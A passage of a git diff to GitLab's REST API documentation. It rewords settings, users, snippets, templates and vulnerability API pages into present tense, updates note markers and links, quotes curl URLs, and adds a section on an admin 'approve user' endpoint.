`bitbucket_server`, `gitlab`, `fogbugz`, `git`, `gitlab_project`, `gitea`, `manifest`, and `phabricator`. | | `issues_create_limit` | integer | no | Max number of issue creation requests per minute per user. Disabled by default.| | `local_markdown_version` | integer | no | Increase this value when any cached Markdown should be invalidated. | | `maintenance_mode_message` | string | no | **(PREMIUM)** Message displayed when instance is in maintenance mode | @@ -303,7 +308,7 @@ listed in the descriptions of the relevant settings. | `max_pages_size` | integer | no | Maximum size of pages repositories in MB | | `max_personal_access_token_lifetime` | integer | no | **(ULTIMATE ONLY)** Maximum allowable lifetime for personal access tokens in days | | `metrics_method_call_threshold` | integer | no | A method call is only tracked when it takes longer than the given amount of milliseconds. | -| `mirror_available` | boolean | no | Allow repository mirroring to configured by project Maintainers. If disabled, only Admins will be able to configure repository mirroring. | +| `mirror_available` | boolean | no | Allow repository mirroring to configured by project Maintainers. If disabled, only Admins can configure repository mirroring. | | `mirror_capacity_threshold` | integer | no | **(PREMIUM)** Minimum capacity to be available before scheduling more mirrors preemptively | | `mirror_max_capacity` | integer | no | **(PREMIUM)** Maximum number of mirrors that can be synchronizing at the same time. | | `mirror_max_delay` | integer | no | **(PREMIUM)** Maximum time (in minutes) between updates that a mirror can have when scheduled to synchronize. | @@ -315,23 +320,24 @@ listed in the descriptions of the relevant settings. | `performance_bar_allowed_group_id` | string | no | (Deprecated: Use `performance_bar_allowed_group_path` instead) Path of the group that is allowed to toggle the performance bar. | | `performance_bar_allowed_group_path` | string | no | Path of the group that is allowed to toggle the performance bar. | | `performance_bar_enabled` | boolean | no | (Deprecated: Pass `performance_bar_allowed_group_path: nil` instead) Allow enabling the performance bar. | +| `personal_access_token_prefix` | string | no | Prefix for all generated personal access tokens. | | `plantuml_enabled` | boolean | no | (**If enabled, requires:** `plantuml_url`) Enable PlantUML integration. Default is `false`. | | `plantuml_url` | string | required by: `plantuml_enabled` | The PlantUML instance URL for integration. | | `polling_interval_multiplier` | decimal | no | Interval multiplier used by endpoints that perform polling. Set to `0` to disable polling. | | `project_export_enabled` | boolean | no | Enable project export. | | `prometheus_metrics_enabled` | boolean | no | Enable Prometheus metrics. | | `protected_ci_variables` | boolean | no | Environment variables are protected by default. | -| `pseudonymizer_enabled` | boolean | no | **(PREMIUM)** When enabled, GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory. -| `push_event_activities_limit` | integer | no | Number of changes (branches or tags) in a single push to determine whether individual push events or bulk push events will be created. [Bulk push events will be created](../user/admin_area/settings/push_event_activities_limit.md) if it surpasses that value. | -| `push_event_hooks_limit` | integer | no | Number of changes (branches or tags) in a single push to determine whether webhooks and services will be fired or not. Webhooks and services won't be submitted if it surpasses that value. | +| `pseudonymizer_enabled` | boolean | no | **(PREMIUM)** When enabled, GitLab runs a background job that produces pseudonymized CSVs of the GitLab database to upload to your configured object storage directory. +| `push_event_activities_limit` | integer | no | Number of changes (branches or tags) in a single push to determine whether individual push events or bulk push events are created. [Bulk push events are created](../user/admin_area/settings/push_event_activities_limit.md) if it surpasses that value. | +| `push_event_hooks_limit` | integer | no | Number of changes (branches or tags) in a single push to determine whether webhooks and services fire or not. Webhooks and services aren't submitted if it surpasses that value. | | `raw_blob_request_limit` | integer | no | Max number of requests per minute for each raw path. Default: 300. To disable throttling set to 0.| | `recaptcha_enabled` | boolean | no | (**If enabled, requires:** `recaptcha_private_key` and `recaptcha_site_key`) Enable reCAPTCHA. | | `recaptcha_private_key` | string | required by: `recaptcha_enabled` | Private key for reCAPTCHA. | | `recaptcha_site_key` | string | required by: `recaptcha_enabled` | Site key for reCAPTCHA. | | `receive_max_input_size` | integer | no | Maximum push size (MB). | -| `repository_checks_enabled` | boolean | no | GitLab will periodically run `git fsck` in all project and wiki repositories to look for silent disk corruption issues. | +| `repository_checks_enabled` | boolean | no | GitLab periodically runs `git fsck` in all project and wiki repositories to look for silent disk corruption issues. | | `repository_size_limit` | integer | no | **(PREMIUM)** Size limit per repository (MB) | -| `repository_storages_weighted` | hash of strings to integers | no | (GitLab 13.1 and later) Hash of names of taken from `gitlab.yml` to [weights](../administration/repository_storage_paths.md#choose-where-new-repositories-will-be-stored). New projects are created in one of these stores, chosen by a weighted random selection. | +| `repository_storages_weighted` | hash of strings to integers | no | (GitLab 13.1 and later) Hash of names of taken from `gitlab.yml` to [weights](../administration/repository_storage_paths.md#choose-where-new-repositories-are-stored). New projects are created in one of these stores, chosen by a weighted random selection. | | `repository_storages` | array of strings | no | (GitLab 13.0 and earlier) List of names of enabled storage paths, taken from `gitlab.yml`. New projects are created in one of these stores, chosen at random. | | `require_admin_approval_after_user_signup` | boolean | no | When enabled, any user that signs up for an account using the registration form is placed under a **Pending approval** state and has to be explicitly [approved](../user/admin_area/approving_users.md) by an administrator. | | `require_two_factor_authentication` | boolean | no | (**If enabled, requires:** `two_factor_grace_period`) Require all users to set up Two-factor authentication. | @@ -374,9 +380,9 @@ listed in the descriptions of the relevant settings. | `two_factor_grace_period` | integer | required by: `require_two_factor_authentication` | Amount of time (in hours) that users are allowed to skip forced configuration of two-factor authentication. | | `unique_ips_limit_enabled` | boolean | no | (**If enabled, requires:** `unique_ips_limit_per_user` and `unique_ips_limit_time_window`) Limit sign in from multiple IPs. | | `unique_ips_limit_per_user` | integer | required by: `unique_ips_limit_enabled` | Maximum number of IPs per user. | -| `unique_ips_limit_time_window` | integer | required by: `unique_ips_limit_enabled` | How many seconds an IP will be counted towards the limit. | -| `usage_ping_enabled` | boolean | no | Every week GitLab will report license usage back to GitLab, Inc. | -| `user_default_external` | boolean | no | Newly registered users will be external by default. | +| `unique_ips_limit_time_window` | integer | required by: `unique_ips_limit_enabled` | How many seconds an IP is counted towards the limit. | +| `usage_ping_enabled` | boolean | no | Every week GitLab reports license usage back to GitLab, Inc. | +| `user_default_external` | boolean | no | Newly registered users are external by default. | | `user_default_internal_regex` | string | no | Specify an e-mail address regex pattern to identify default internal users. | | `user_oauth_applications` | boolean | no | Allow users to register any application to use GitLab as an OAuth provider. | | `user_show_add_ssh_key_message` | boolean | no | When set to `false` disable the "You won't be able to pull or push project code via SSH" warning shown to users with no uploaded SSH key. | diff --git a/doc/api/sidekiq_metrics.md b/doc/api/sidekiq_metrics.md index 914f5fbf42a..2f018e67628 100644 --- a/doc/api/sidekiq_metrics.md +++ b/doc/api/sidekiq_metrics.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Sidekiq Metrics API **(CORE ONLY)** diff --git a/doc/api/snippets.md b/doc/api/snippets.md index c2812de5dd7..670045df66d 100644 --- a/doc/api/snippets.md +++ b/doc/api/snippets.md @@ -1,7 +1,7 @@ --- stage: Create group: Editor -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- @@ -189,7 +189,7 @@ Hello World snippet Create a new snippet. -NOTE: **Note:** +NOTE: The user must have permission to create new snippets. ```plaintext @@ -272,7 +272,7 @@ Example response: Update an existing snippet. -NOTE: **Note:** +NOTE: The user must have permission to change an existing snippet. ```plaintext @@ -451,7 +451,7 @@ Example response: > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12655) in GitLab 9.4. -NOTE: **Note:** +NOTE: Available only for administrators. ```plaintext diff --git a/doc/api/statistics.md b/doc/api/statistics.md index 6a41a960eba..3899d5bde76 100644 --- a/doc/api/statistics.md +++ b/doc/api/statistics.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Application statistics API @@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w List the current statistics of the GitLab instance. You have to be an administrator in order to perform this action. -NOTE: **Note:** +NOTE: These statistics are approximate. ```plaintext diff --git a/doc/api/suggestions.md b/doc/api/suggestions.md index 10528fe33b9..9f878cd029a 100644 --- a/doc/api/suggestions.md +++ b/doc/api/suggestions.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- diff --git a/doc/api/system_hooks.md b/doc/api/system_hooks.md index 00cd88c88dd..855436864cc 100644 --- a/doc/api/system_hooks.md +++ b/doc/api/system_hooks.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # System hooks API @@ -55,9 +55,9 @@ POST /hooks | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | | `url` | string | yes | The hook URL | -| `token` | string | no | Secret token to validate received payloads; this will not be returned in the response | -| `push_events` | boolean | no | When true, the hook will fire on push events | -| `tag_push_events` | boolean | no | When true, the hook will fire on new tags being pushed | +| `token` | string | no | Secret token to validate received payloads; this isn't returned in the response | +| `push_events` | boolean | no | When true, the hook fires on push events | +| `tag_push_events` | boolean | no | When true, the hook fires on new tags being pushed | | `merge_requests_events` | boolean | no | Trigger hook on merge requests events | | `repository_update_events` | boolean | no | Trigger hook on repository update events | | `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook | diff --git a/doc/api/tags.md b/doc/api/tags.md index 8584de83357..126bc010022 100644 --- a/doc/api/tags.md +++ b/doc/api/tags.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- diff --git a/doc/api/templates/dockerfiles.md b/doc/api/templates/dockerfiles.md index fd0edfce8e5..a86dc36e141 100644 --- a/doc/api/templates/dockerfiles.md +++ b/doc/api/templates/dockerfiles.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -20,7 +20,7 @@ GET /templates/dockerfiles ``` ```shell -curl https://gitlab.example.com/api/v4/templates/dockerfiles +curl "https://gitlab.example.com/api/v4/templates/dockerfiles" ``` Example response: @@ -119,7 +119,7 @@ GET /templates/dockerfiles/:key | `key` | string | yes | The key of the Dockerfile template | ```shell -curl https://gitlab.example.com/api/v4/templates/dockerfiles/Binary +curl "https://gitlab.example.com/api/v4/templates/dockerfiles/Binary" ``` Example response: diff --git a/doc/api/templates/gitignores.md b/doc/api/templates/gitignores.md index b957c582755..6f2e5a83903 100644 --- a/doc/api/templates/gitignores.md +++ b/doc/api/templates/gitignores.md @@ -1,19 +1,18 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- # .gitignore API -In GitLab, there is an API endpoint available for `.gitignore`. For more -information on `gitignore`, see the -[Git documentation](https://git-scm.com/docs/gitignore). +In GitLab, the `/gitignores` endpoint returns a list of Git `.gitignore` templates. For more information, +see the [Git documentation for `.gitignore`](https://git-scm.com/docs/gitignore). -## List `.gitignore` templates +## Get all `.gitignore` templates -Get all `.gitignore` templates. +Get a list of all `.gitignore` templates: ```plaintext GET /templates/gitignores @@ -22,7 +21,7 @@ GET /templates/gitignores Example request: ```shell -curl https://gitlab.example.com/api/v4/templates/gitignores +curl "https://gitlab.example.com/api/v4/templates/gitignores" ``` Example response: @@ -112,9 +111,9 @@ Example response: ] ``` -## Single `.gitignore` template +## Get a single `.gitignore` template -Get a single `.gitignore` template. +Get a single `.gitignore` template: ```plaintext GET /templates/gitignores/:key @@ -127,7 +126,7 @@ GET /templates/gitignores/:key Example request: ```shell -curl https://gitlab.example.com/api/v4/templates/gitignores/Ruby +curl "https://gitlab.example.com/api/v4/templates/gitignores/Ruby" ``` Example response: diff --git a/doc/api/templates/gitlab_ci_ymls.md b/doc/api/templates/gitlab_ci_ymls.md index 45bc0f55095..8f78c600392 100644 --- a/doc/api/templates/gitlab_ci_ymls.md +++ b/doc/api/templates/gitlab_ci_ymls.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- diff --git a/doc/api/templates/licenses.md b/doc/api/templates/licenses.md index d1044b23306..fb76bd81e50 100644 --- a/doc/api/templates/licenses.md +++ b/doc/api/templates/licenses.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -25,7 +25,7 @@ GET /templates/licenses | `popular` | boolean | no | If passed, returns only popular licenses | ```shell -curl https://gitlab.example.com/api/v4/templates/licenses?popular=1 +curl "https://gitlab.example.com/api/v4/templates/licenses?popular=1" ``` Example response: @@ -123,12 +123,12 @@ GET /templates/licenses/:key | `project` | string | no | The copyrighted project name | | `fullname` | string | no | The full-name of the copyright holder | -NOTE: **Note:** +NOTE: If you omit the `fullname` parameter but authenticate your request, the name of -the authenticated user will be used to replace the copyright holder placeholder. +the authenticated user replaces the copyright holder placeholder. ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/templates/licenses/mit?project=My+Cool+Project +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/templates/licenses/mit?project=My+Cool+Project" ``` Example response: diff --git a/doc/api/todos.md b/doc/api/todos.md index 06b99ab8c53..203d1bc6f03 100644 --- a/doc/api/todos.md +++ b/doc/api/todos.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # To dos API diff --git a/doc/api/users.md b/doc/api/users.md index e1fa97765df..f73e1829024 100644 --- a/doc/api/users.md +++ b/doc/api/users.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Users API @@ -54,7 +54,7 @@ GET /users?username=jack_smith ``` In addition, you can filter users based on the states `blocked` and `active`. -It does not support `active=false` or `blocked=false`. The list of active users +It does not support `active=false` or `blocked=false`. The list of billable users is the total number of users minus the blocked users. ```plaintext @@ -65,7 +65,7 @@ GET /users?active=true GET /users?blocked=true ``` -GitLab supports bot users such as the [alert bot](../operations/incident_management/generic_alerts.md) +GitLab supports bot users such as the [alert bot](../operations/incident_management/alert_integrations.md) or the [support bot](../user/project/service_desk.md#support-bot-user). To exclude these users from the users' list, you can use the parameter `exclude_internal=true` ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241144) in GitLab 13.4). @@ -74,7 +74,7 @@ To exclude these users from the users' list, you can use the parameter `exclude_ GET /users?exclude_internal=true ``` -NOTE: **Note:** +NOTE: Username search is case insensitive. ### For admins @@ -170,7 +170,7 @@ GET /users ] ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see the `shared_runners_minutes_limit`, and `extra_shared_runners_minutes_limit` parameters. +Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see the `shared_runners_minutes_limit`, `extra_shared_runners_minutes_limit`, and `using_license_seat` parameters. ```json [ @@ -179,12 +179,13 @@ Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) ... "shared_runners_minutes_limit": 133, "extra_shared_runners_minutes_limit": 133, + "using_license_seat": true ... } ] ``` -Users on GitLab [Silver or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Silver or higher](https://about.gitlab.com/pricing/) also see the `group_saml` provider option: ```json @@ -332,10 +333,10 @@ Example Responses: } ``` -NOTE: **Note:** +NOTE: The `plan` and `trial` parameters are only available on GitLab Enterprise Edition. -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see the `shared_runners_minutes_limit`, and `extra_shared_runners_minutes_limit` parameters. ```json @@ -348,7 +349,7 @@ the `shared_runners_minutes_limit`, and `extra_shared_runners_minutes_limit` par } ``` -Users on GitLab.com [Silver, or higher](https://about.gitlab.com/pricing/) will also +Users on GitLab.com [Silver, or higher](https://about.gitlab.com/pricing/) also see the `group_saml` option: ```json @@ -384,11 +385,11 @@ Note that `force_random_password` and `reset_password` take priority over `password`. In addition, `reset_password` and `force_random_password` can be used together. -NOTE: **Note:** -From [GitLab 12.1](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/29888/), `private_profile` will default to `false`. +NOTE: +From [GitLab 12.1](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/29888/), `private_profile` defaults to `false`. -NOTE: **Note:** -From [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35604), `bio` will default to `""` instead of `null`. +NOTE: +From [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35604), `bio` defaults to `""` instead of `null`. ```plaintext POST /users @@ -415,7 +416,7 @@ Parameters: | `note` | No | Admin notes for this user | | `organization` | No | Organization name | | `password` | No | Password | -| `private_profile` | No | User's profile is private - true, false (default), or null (will be converted to false) | +| `private_profile` | No | User's profile is private - true, false (default), or null (is converted to false) | | `projects_limit` | No | Number of projects user can create | | `provider` | No | External provider name | | `public_email` | No | The public email of the user | @@ -457,7 +458,7 @@ Parameters: | `note` | No | Admin notes for this user | | `organization` | No | Organization name | | `password` | No | Password | -| `private_profile` | No | User's profile is private - true, false (default), or null (will be converted to false) | +| `private_profile` | No | User's profile is private - true, false (default), or null (is converted to false) | | `projects_limit` | No | Limit projects each user can create | | `provider` | No | External provider name | | `public_email` | No | The public email of the user | @@ -469,7 +470,7 @@ Parameters: | `username` | No | Username | | `website_url` | No | Website URL | -On password update, user will be forced to change it upon next login. +On password update, the user is forced to change it upon next login. Note, at the moment this method does only return a `404` error, even in cases where a `409` (Conflict) would be more appropriate. For example, when renaming the email address to some existing one. @@ -501,7 +502,7 @@ Parameters: - `id` (required) - The ID of the user - `hard_delete` (optional) - If true, contributions that would usually be [moved to the ghost user](../user/profile/account/delete_account.md#associated-records) - will be deleted instead, as well as groups owned solely by this user. + are deleted instead, as well as groups owned solely by this user. ## List current user (for normal users) @@ -664,7 +665,7 @@ PUT /user/status | `emoji` | string | no | The name of the emoji to use as status. If omitted `speech_balloon` is used. Emoji name can be one of the specified names in the [Gemojione index](https://github.com/bonusly/gemojione/blob/master/config/index.json). | | `message` | string | no | The message to set as a status. It can also contain emoji codes. | -When both parameters `emoji` and `message` are empty, the status will be cleared. +When both parameters `emoji` and `message` are empty, the status is cleared. ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --data "emoji=coffee" --data "message=I crave coffee" "https://gitlab.example.com/api/v4/user/status" @@ -792,7 +793,7 @@ Parameters: } ``` -Will return created key with status `201 Created` on success. If an +Returns a created key with status `201 Created` on success. If an error occurs a `400 Bad Request` is returned with a message explaining the error: ```json @@ -823,7 +824,7 @@ Parameters: - `key` (required) - new SSH key - `expires_at` (optional) - The expiration date of the SSH key in ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`) -NOTE: **Note:** +NOTE: This also adds an audit event, as described in [audit instance events](../administration/audit_events.md#instance-events). **(PREMIUM)** ## Delete SSH key for current user @@ -1068,7 +1069,7 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git Get a list of currently authenticated user's emails. -NOTE: **Note:** +NOTE: Due to [a bug](https://gitlab.com/gitlab-org/gitlab/-/issues/25077) this endpoint currently does not return the primary email address. @@ -1097,7 +1098,7 @@ Parameters: Get a list of a specified user's emails. Available only for admin -NOTE: **Note:** +NOTE: Due to [a bug](https://gitlab.com/gitlab-org/gitlab/-/issues/25077) this endpoint currently does not return the primary email address. @@ -1147,7 +1148,7 @@ Parameters: } ``` -Will return created email with status `201 Created` on success. If an +Returns a created email with status `201 Created` on success. If an error occurs a `400 Bad Request` is returned with a message explaining the error: ```json @@ -1232,7 +1233,7 @@ Parameters: - `id` (required) - ID of specified user -Will return `201 OK` on success, `404 User Not Found` is user cannot be found or +Returns `201 OK` on success, `404 User Not Found` is user cannot be found or `403 Forbidden` when trying to unblock a user blocked by LDAP synchronization. ## Deactivate user @@ -1275,8 +1276,8 @@ Parameters: Returns: - `201 OK` on success. -- `404 User Not Found` if user cannot be found. -- `403 Forbidden` when trying to activate a user blocked by admin or by LDAP synchronization. +- `404 User Not Found` if the user cannot be found. +- `403 Forbidden` if the user cannot be activated because they are blocked by an administrator or by LDAP synchronization. ### Get user contribution events @@ -1337,6 +1338,44 @@ Example response: ] ``` +## Approve user + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/263107) in GitLab 13.7. + +Approves the specified user. Available only for administrators. + +```plaintext +POST /users/:id/approve +``` + +Parameters: + +- `id` (required) - ID of specified user + +```shell +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/users/42/approve" +``` + +Returns: + +- `201 OK` on success. +- `404 User Not Found` if user cannot be found. +- `403 Forbidden` if the user cannot be approved because they are blocked by an administrator or by LDAP synchronization. + +Example Responses: + +```json +{ "message": "Success" } +``` + +```json +{ "message": "404 User Not Found" } +``` + +```json +{ "message": "The user you are trying to approve is not pending an approval" } +``` + ## Get an impersonation token of a user > Requires admin permissions. @@ -1379,11 +1418,11 @@ Example response: ## Create an impersonation token > Requires admin permissions. -> Token values are returned once. Make sure you save it - you won't be able to access it again. +> Token values are returned once. Make sure you save it - you can't access it again. It creates a new impersonation token. Note that only administrators can do this. You are only able to create impersonation tokens to impersonate the user and perform -both API calls and Git reads and writes. The user will not see these tokens in their profile +both API calls and Git reads and writes. The user can't see these tokens in their profile settings page. ```plaintext @@ -1447,11 +1486,11 @@ Parameters: > - It's [deployed behind a feature flag](../user/feature_flags.md), disabled by default. > - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-an-administrators-ability-to-use-the-api-to-create-personal-access-tokens). **(CORE)** -CAUTION: **Warning:** +WARNING: This feature might not be available to you. Check the **version history** note above for details. > Requires admin permissions. -> Token values are returned once. Make sure you save it - you won't be able to access it again. +> Token values are returned once. Make sure you save it - you can't access it again. It creates a new personal access token. @@ -1490,7 +1529,7 @@ Example response: ## Get user activities (admin only) -NOTE: **Note:** +NOTE: This API endpoint is only available on 8.15 (EE) and 9.1 (CE) and above. Get the last activity date for all users, sorted from oldest to newest. diff --git a/doc/api/v3_to_v4.md b/doc/api/v3_to_v4.md index 2dd4376413b..00e70d34db6 100644 --- a/doc/api/v3_to_v4.md +++ b/doc/api/v3_to_v4.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # API V3 to API V4 diff --git a/doc/api/version.md b/doc/api/version.md index d1582cf63cd..83b05dff1c8 100644 --- a/doc/api/version.md +++ b/doc/api/version.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Version API diff --git a/doc/api/visual_review_discussions.md b/doc/api/visual_review_discussions.md index 7e741688949..67d9c523862 100644 --- a/doc/api/visual_review_discussions.md +++ b/doc/api/visual_review_discussions.md @@ -1,7 +1,7 @@ --- stage: Verify group: Testing -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, api --- diff --git a/doc/api/vulnerabilities.md b/doc/api/vulnerabilities.md index f89f2bda2eb..8296292c1f8 100644 --- a/doc/api/vulnerabilities.md +++ b/doc/api/vulnerabilities.md @@ -1,20 +1,20 @@ --- stage: Secure group: Threat Insights -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Vulnerabilities API **(ULTIMATE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10242) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.6. -NOTE: **Note:** +NOTE: The former Vulnerabilities API was renamed to Vulnerability Findings API and its documentation was moved to [a different location](vulnerability_findings.md). This document now describes the new Vulnerabilities API that provides access to [Vulnerabilities](https://gitlab.com/groups/gitlab-org/-/epics/634). -CAUTION: **Caution:** +WARNING: This API is in an alpha stage and considered unstable. The response payload may be subject to change or breakage across GitLab releases. @@ -23,7 +23,7 @@ Every API call to vulnerabilities must be [authenticated](README.md#authenticati Vulnerability permissions inherit permissions from their project. If a project is private, and a user isn't a member of the project to which the vulnerability -belongs, requests to that project will return a `404 Not Found` status code. +belongs, requests to that project returns a `404 Not Found` status code. ## Single vulnerability @@ -77,7 +77,7 @@ Confirms a given vulnerability. Returns status code `304` if the vulnerability i If an authenticated user does not have permission to [confirm vulnerabilities](../user/permissions.md#project-members-permissions), -this request will result in a `403` status code. +this request results in a `403` status code. ```plaintext POST /vulnerabilities/:id/confirm @@ -127,7 +127,7 @@ Resolves a given vulnerability. Returns status code `304` if the vulnerability i If an authenticated user does not have permission to [resolve vulnerabilities](../user/permissions.md#project-members-permissions), -this request will result in a `403` status code. +this request results in a `403` status code. ```plaintext POST /vulnerabilities/:id/resolve @@ -177,7 +177,7 @@ Dismisses a given vulnerability. Returns status code `304` if the vulnerability If an authenticated user does not have permission to [dismiss vulnerabilities](../user/permissions.md#project-members-permissions), -this request will result in a `403` status code. +this request results in a `403` status code. ```plaintext POST /vulnerabilities/:id/dismiss @@ -227,7 +227,7 @@ Reverts a given vulnerability to detected state. Returns status code `304` if th If an authenticated user does not have permission to [revert vulnerability to detected state](../user/permissions.md#project-members-permissions), -this request will result in a `403` status code. +this request results in a `403` status code. ```plaintext POST /vulnerabilities/:id/revert diff --git a/doc/api/vulnerability_exports.md b/doc/api/vulnerability_exports.md index 0ee8a18a46a..e4853920cab 100644 --- a/doc/api/vulnerability_exports.md +++ b/doc/api/vulnerability_exports.md @@ -1,14 +1,14 @@ --- stage: Secure group: Threat Insights -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Vulnerability export API **(ULTIMATE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/197494) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.10. [Updated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30397) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.0. -CAUTION: **Caution:** +WARNING: This API is in an alpha stage and considered unstable. The response payload may be subject to change or breakage across GitLab releases. @@ -83,7 +83,7 @@ POST /security/groups/:id/vulnerability_exports | `id` | integer or string | yes | The ID or [URL-encoded path](README.md#namespaced-path-encoding) of the group which the authenticated user is a member of | ```shell -curl --header POST "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/security/groups/1/vulnerability_exports +curl --header POST "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/security/groups/1/vulnerability_exports" ``` The created vulnerability export is automatically deleted after 1 hour. @@ -116,7 +116,7 @@ POST /security/vulnerability_exports ``` ```shell -curl --header POST "PRIVATE-TOKEN: <your_access_token>" 